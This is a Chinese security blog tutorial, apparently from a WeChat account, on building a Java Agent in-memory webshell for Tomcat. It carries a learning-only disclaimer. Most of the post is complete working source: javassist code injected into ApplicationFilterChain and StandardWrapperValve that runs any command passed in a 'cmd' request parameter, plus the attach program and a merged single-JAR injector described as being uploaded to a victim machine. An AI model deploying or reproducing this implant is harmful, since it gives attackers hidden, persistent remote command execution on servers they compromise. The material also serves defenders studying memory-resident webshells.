Agent 内存马
为之前的javaAgent & javassist
的做一个实操:
https://mp.weixin.qq.com/s/3Zy6P3lB9CpJ6Y0EICP0Lg
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
初代版本
前置知识: https://mp.weixin.qq.com/s/3Zy6P3lB9CpJ6Y0EICP0Lg
需要三个步:
-
上传 inject.jar
到服务器 (使用VirtualMachine
进行枚举PID
并进行Attach
,loadAgent
我们的agent.jar
) -
上传 agent.jar
到服务器 (定义agentmain
方法, 并在其配合javassist
修改正常服务字节码, 实现注入) -
执行 java -jar inject.jar
需要上传两个 jar 文件, 并且具备执行一条命令的权限, 即可完成内存马的注入.
具体实现
这里可以创建一个空的Tomcat or SpringBoot
进行测试, 这里准备一个特别正常的项目:
为了调试代码方便, 当前 Tomcat 准备如下依赖:
<properties>
<tomcat.version>8.5.0</tomcat.version>
</properties>
<dependencies>
<!-- Tomcat 核心库 -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>${tomcat.version}</version>
<scope>provided</scope>
</dependency>
<!-- Tomcat 工具库 -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-util</artifactId>
<version>${tomcat.version}</version>
<scope>provided</scope>
</dependency>
<!-- JSP API -->
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
<scope>provided</scope>
</dependency>
<!-- JSTL 标签库 -->
<dependency>
<groupId>javax.servlet.jsp.jstl</groupId>
<artifactId>jstl-api</artifactId>
<version>1.2</version>
<scope>provided</scope>
</dependency>
<!-- Servlet API -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
</dependencies>
ApplicationFilterChain Hook
在之前做Tomcat Filter 内存马
时知道, WEB 服务器每次响应都会进入org.apache.catalina.core.ApplicationFilterChain::internalDoFilter
方法, 例如 (本次 HTTP 请求):
而因为和每次请求相关, 方法中也可以得到request
对象, 所以这里是一个比较合适的 Hook 点, 我们可以通过JavaAgent
的agentmain
使org.apache.catalina.core.ApplicationFilterChain
这个类进行重新加载, 随后在加载途中使用javassist
技术进行插桩, 即可完成本次的Agent
内存马注入.
准备 agentmain
pom.xml
文件内容:
<build>
<finalName>${project.artifactId}</finalName>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
<manifestFile>${project.basedir}/src/main/resources/META-INF/MANIFEST.MF</manifestFile>
<!-- 需本地创建 /META-INF/MANIFEST.MF 文件 -->
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id> <!-- this is used for inheritance merges -->
<phase>package</phase> <!-- bind to the packaging phase -->
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>
准备如下代码:
public class MyAgentMain {
private static final String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new MyClassFileTransformer(), true);
Class[] allLoadedClasses = inst.getAllLoadedClasses(); // 得到所有加载过的 class
for (Class clazz : allLoadedClasses) {
try {
if (clazz.getName().equals(CLASSNAME)) { // 判断当前 class 是否为 ApplicationFilterChain
inst.retransformClasses(clazz); // 准备重新加载, 并参与字节码转换
}
} catch (UnmodifiableClassException e) {
e.printStackTrace();
}
}
System.out.println("agentmain");
}
static class MyClassFileTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals(CLASSNAME.replace(".", "/"))) {
try {
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined); // 通过当前类得到加载路径
classPool.insertClassPath(ccp); // 指明 ClassPool 加载路径, 否则类加载不到
}
CtClass ctClass = classPool.get(CLASSNAME); // 得到该 CLASSNAME
// 获取到该方法
CtMethod internalDoFilterMethod = ctClass.getDeclaredMethod("internalDoFilter", new CtClass[]{classPool.get("javax.servlet.ServletRequest"), classPool.get("javax.servlet.ServletResponse")});
String code = "String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(new String(new byte[]{0})).next()); } catch (Exception e) { e.printStackTrace(); } }";
// 在方法前加入代码块
internalDoFilterMethod.insertBefore("{" + code + "}");
return ctClass.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
}
并且定义/META-INF/MANIFEST.MF
文件内容如下:
Agent-Class: com.heihu577.MyAgentMain
Can-Retransform-Classes: true
Can-Redefine-Classes: true
随后使用Maven插件
进行打包为agent.jar
即可, 随后上传到受害机.
准备 Attach
引入tools
:
<dependencies>
<dependency>
<groupId>com.sun.tools.attach</groupId>
<artifactId>MyTools</artifactId>
<version>1.0</version>
<scope>system</scope>
<!-- 将 ${java.home}/../lib/tools.jar 拷贝到当前目录 -->
<systemPath>${pom.basedir}/lib/GenericAgentTools.jar</systemPath>
</dependency>
</dependencies>
接下来再新建一个项目, 放入如下代码:
public class Main {
public static void main(String[] args) throws Exception {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) { // 获取当前系统中所有虚拟机实例的描述符列表
if (vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")) { // Tomcat 启动标志
VirtualMachine attach = VirtualMachine.attach(vmd.id()); // attach
// 加载具体 agent jar 文件
attach.loadAgent(args[0], "");
attach.detach(); // 断开
System.out.println("Attach Success!");
}
}
}
}
随后直接使用IDEA
工具进行打包即可, 将tools.jar (JDK自带)
这个文件一起打包进去. 命名为inject.jar
, 这里因为要使用IDEA
进行打包, 所以我们必须将${java.home}/../lib/tools.jar
复制到当前项目的lib
目录下, 并且设置打包时将依赖放入即可:
最终实现
但是这里命令执行结果有一个问题, 在 Tomcat 环境下, 会返回两次命令执行结果, 而 SpringBoot 下, 会执行五次 (因为 SpringBoot 会有四个默认的 Filter), 所以这里导致重复执行并不是理想效果, 我们看看有没有其他Hook
点, 在整个 Tomcat 执行流程中, 只会执行一次, 并且传递了request
对象.
StandardWrapperValve
对ApplicationFilterChain::doFilter
进行DEBUG
, 看一下调用栈过程:
在之前了解 Tomcat 架构时, 曾了解过Valve
, 这里只会调用一次, 所以这里的StandardWrapperValve::invoke
方法接收的request
也可以当一个Hook
点. 而这里的request
对象实际上是
那么针对该情况定义一个agent.jar
, 它的agentmain
方法定义如下:
public class MyAgentMain {
private static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";
private static final String METHODNAME = "invoke";
public static void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new MyClassFileTransformer(), true);
Class[] allLoadedClasses = inst.getAllLoadedClasses(); // 得到所有加载过的 class
for (Class clazz : allLoadedClasses) {
try {
if (clazz.getName().equals(CLASSNAME)) { // 判断当前 class 是否为 ApplicationFilterChain
inst.retransformClasses(clazz); // 准备重新加载, 并参与字节码转换
}
} catch (UnmodifiableClassException e) {
e.printStackTrace();
}
}
System.out.println("agentmain");
}
static class MyClassFileTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals(CLASSNAME.replace(".", "/"))) {
try {
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined); // 通过当前类得到加载路径
classPool.insertClassPath(ccp); // 指明 ClassPool 加载路径, 否则类加载不到
}
CtClass ctClass = classPool.get(CLASSNAME); // 得到该 CLASSNAME
// 获取到该方法
CtMethod invokeMethod = ctClass.getDeclaredMethod(METHODNAME, new CtClass[]{classPool.get("org.apache.catalina.connector.Request"), classPool.get("org.apache.catalina.connector.Response")});
String code = "String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(new String(new byte[]{0})).next()); } catch (Exception e) { e.printStackTrace(); } }";
// 在方法前加入代码块
invokeMethod.insertBefore("{" + code + "}");
return ctClass.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
}
其中打包不再重复演示, 其中做了略微修改, 观察一下即可.
最终实现
最终只执行一次命令. 达到了最终的效果.
合并版本
由于上面需要上传两个JAR
, 操作起来相对来说是比较繁琐的, 而这个版本将agent.jar & inject.jar
进行合并了, 在实战中我们只需要上传一个JAR
即可完成注入. 需要如下两步:
-
在受害机上进行上传 inject.jar
, 执行main
方法则是attach
,attach
到了执行该jar中的agentmain
. -
受害机执行 java -jar inject.jar
具体实现
因为是合并操作, 所以这里pom.xml
引入依赖如下:
<dependencies>
<dependency>
<groupId>com.sun.jdk</groupId>
<artifactId>tools</artifactId>
<version>1.8</version>
<scope>system</scope>
<systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>
准备com.heihu577.Main
如下:
public class Main {
private static final String CLASSNAME = "org.apache.catalina.startup.Bootstrap";
public static void main(String[] args) throws Exception {
// 得到 绝对路径 当前jar包名称.jar!/com/heihu577/Main.class
String classPath = Main.class.getClassLoader().getResource(Main.class.getName().replaceAll("\.", "/") + ".class").getPath();
// 得到 jar 包绝对路径, 绝对路径: 当前jar包名称.jar
String jarPath = classPath.substring(0, classPath.indexOf("!")).replace("file:/", "");
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) { // 获取当前系统中所有虚拟机实例的描述符列表
if (vmd.displayName().contains(CLASSNAME)) { // Tomcat 启动标志
VirtualMachine attach = VirtualMachine.attach(vmd.id()); // attach
// 加载自己的 jar 文件
System.out.println(jarPath);
attach.loadAgent(jarPath, "");
attach.detach(); // 断开
System.out.println("Attach Success!");
}
}
}
}
这里classPath
变量可以通过当前的ClassLoader
得到当前的class
文件位置的绝对路径, 而由于class
文件位置在jar
包中, 所以在这里可以得到当前执行jar
文件的绝对路径, 后续再attach
自己本身即可.
准备com.heihu577.AgentMain
类(它们都在同一个项目中)如下:
public class AgentMain {
private static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";
private static final String METHODNAME = "invoke";
public static void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new MyClassFileTransformer(), true);
Class[] allLoadedClasses = inst.getAllLoadedClasses(); // 得到所有加载过的 class
for (Class clazz : allLoadedClasses) {
try {
if (clazz.getName().equals(CLASSNAME)) { // 判断当前 class 是否为 ApplicationFilterChain
inst.retransformClasses(clazz); // 准备重新加载, 并参与字节码转换
}
} catch (UnmodifiableClassException e) {
e.printStackTrace();
}
}
System.out.println("agentmain");
}
static class MyClassFileTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals(CLASSNAME.replace(".", "/"))) {
try {
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined); // 通过当前类得到加载路径
classPool.insertClassPath(ccp); // 指明 ClassPool 加载路径, 否则类加载不到
}
CtClass ctClass = classPool.get(CLASSNAME); // 得到该 CLASSNAME
// 获取到该方法
CtMethod invokeMethod = ctClass.getDeclaredMethod(METHODNAME, new CtClass[]{classPool.get("org.apache.catalina.connector.Request"), classPool.get("org.apache.catalina.connector.Response")});
String code = "String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(new String(new byte[]{0})).next()); } catch (Exception e) { e.printStackTrace(); } }";
// 在方法前加入代码块
invokeMethod.insertBefore("{" + code + "}");
byte[] bytecode = ctClass.toBytecode(); // 得到最终生成的字节码
ctClass.defrost(); // 由于调用完 toBytecode 后, 类将会被冻结, 在第二次进行 agent 注入时, 会报错, 所以这里提前解冻.
return bytecode;
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
}
当然在这里需要定义/META-INF/MANIFEST.MF
文件内容如下:
Manifest-Version: 1.0
Main-Class: com.heihu577.Main
Agent-Class: com.heihu577.AgentMain
Can-Retransform-Classes: true
Can-Redefine-Classes: true
随后使用IDEA
工具进行打包:
最终执行效果:
关于其他
文件无落地参考: https://mp.weixin.qq.com/s/xxaOsJdRE5OoRkMLkIj3Lg 这一部分需要 JNI 的知识了.
另外, Agent 内存马在实战中可能会出现attach.dll
找不到的问题, 解决方法: https://www.cnblogs.com/sui84/p/11788648.html
特别注意的是, 本地的javac.exe & java.exe
一定要一致, 否则也会出现 JNI 错误.
Reference
Java Agent 内存马: https://exp10it.io/2023/01/java-agent-%E5%86%85%E5%AD%98%E9%A9%AC/#%E5%88%A9%E7%94%A8-java-agent-%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC
Java Agent 内存马演变历史: https://cloud.tencent.com/developer/article/2162256
优雅注入: https://mp.weixin.qq.com/s/xxaOsJdRE5OoRkMLkIj3Lg
su18 JavaAgent: https://su18.org/post/irP0RsYK1/
原文始发于微信公众号(Heihu Share):Java 安全 | Agent 内存马
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论